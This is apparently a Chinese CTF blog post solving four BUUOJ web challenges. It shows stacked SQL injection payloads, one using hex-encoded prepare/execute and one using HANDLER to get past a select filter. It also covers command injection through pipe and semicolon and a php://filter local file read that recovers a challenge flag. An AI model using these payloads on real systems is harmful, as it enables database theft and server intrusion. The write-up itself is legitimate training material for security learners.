BUUOJ 刷题记录5-8


[强网杯 2019]随便注

之前在哪儿好像看到过这道题的WP, 和我不会做也没啥联系??

题外话, sqlmap正确的

(不行, 感觉这个样子没啥思路, 先去补补sql注入基本姿势再来)

? 首先用1'测试一下, 发现存在注入. 然后用下面语句测试发现有数据库两列

1' order by 2--+
#和
1' order by 3--+

? 然后试试

1' union select 1,2--+

发现被滤了, 如图

? 然后学到了一种新的注入姿势: 堆叠注入

堆叠注入

原理:

? 利用";"注入多条语句执行

利用:

1'; show databases;--+        爆数据库

? 得到如图

? 再

1';show tables;--+        爆当前数据库的表

? 得到

? 看看表

1'; show columns from words;--+
#和
1'; show columns from `1919810931114514`;--+

? 一定要注意, 当表名为数字的时候要用反引号将其包裹起来查询

? (1919810931114514)

? 这时候看到flag了, 但是select被滤了, 所以尝试绕过(Google Hack)

方一:

? 将

select * from `1919810931114514`

? 用十六进制编码后绕过前端检测, 然后利用prepare from语句进行预处理解码, 最后使用execute执行(不能用set, 这个也是关键字, 通过改变大小写绕过)

payload:

1';Set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare hack from @a;execute hack;--+

方二:

? 利用handler来绕过并读取

1';handler `1919810931114514` open as `a`;handler `a` read next;--+

? handler能够一行一行的浏览数据, 但是是MySQL特有的语句, 未包含在SQL中, 在select被滤的时候很好用

[SUCTF 2019]EasySQL

? 打开之后发现是数字型, 就不能用--+, 得用#来注释(我就说为什么啥都没反应)

? 然后发现from和其他一些关键字被滤了

? 尝试堆叠注入, 能成. 爆出现下面信息

? 然后就是如何读取Flag

? 首先是想试试前一题学到的两种方法, 但是handler被滤了, 用16进制转又被判定太长了, 又不会了

? 搜来的wp里面说是源码泄露 ?? 那就是吧, 语句如下

$sql = "select ".$post['query']."||flag from Flag";

? 看了师傅的wp之后理解了

方1(太妙了):

? 直接输入"*,1" , 直接爆出flag

? 解释:

? 由于语句为$sql = "select ".$post['query']."||flag from Flag"; 其中的||or, 那么输入*,1 后,即为 select *,1||flag from Flag -> select *,1 from Flag 直接爆全表, tql!!!

方2(官方wp):

1;set sql_mode=pipes_as_concat;select 1

? set sql_mode=pipes_as_concat用来将||转化为连字符(就像它的英文意思一样, 把管道符看作concat), 然后就是这样

? 参考了,受益匪浅

[ACTF2020 新生赛]Exec

这道题好像攻防世界有一道类似的来着?

? 我可能忘了,但是谷歌浏览器是有记忆的 (/捂嘴笑)

? 有两个思路, 一是用管道符, 二是用分号

管道符:

? |:直接执行后半部分的语句, 如图所示

? 然后 cdcat就出了

分号:

? ;:执行完前一句后执行后一句(和堆叠差不多), 如图 (网址不一样是因为刚刚用find把网站弄崩了重开了一个)

? 然后就cd看文件, cat读文件完了

[极客大挑战 2019]Secret File

? 首先看源码, 跳转到./Archive_room.php, 然后点了secret按钮之后就被迅速跳转了, 果断抓包看看. 发现提示到/secr3t.php去看看, 出现如下画面

函数:

? strstrstristr都是用于检查某段字符串是否存在于被检测的字符串中, 若存在则返回剩余部分, 但两者的区别是strstr的搜索区分大小写stristr不区分

? 语法:

strstr(string,search,before_search)
  • string: 规定被搜索的字符串, 必需
  • search: 规定要搜索到字符串, 必需
  • before_search: 默认值为false. 若设置为true, 它将返回search参数第一次出现之前的字符串部分. 可选

解题:

? 直接?file=flag.php的话会成这样

? 又想到了include, 尝试一下伪协议读代码

payload = ?file=php://filter/read=convert.base64-encode/resource=flag.php

? 然后拿到了base64加密后的flag.php的源码, 去解码一下, 如下





    
        
        FLAG
    

    





啊哈!你找到我了!可是你看不到我QAQ~~~




<?php echo "我就在这里"; $flag = 'flag{889dbcd0-3c92-40be-a8d2-98fa4c337243}'; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?>

? 就完了

怎么这几道题这么简单啊??

CTF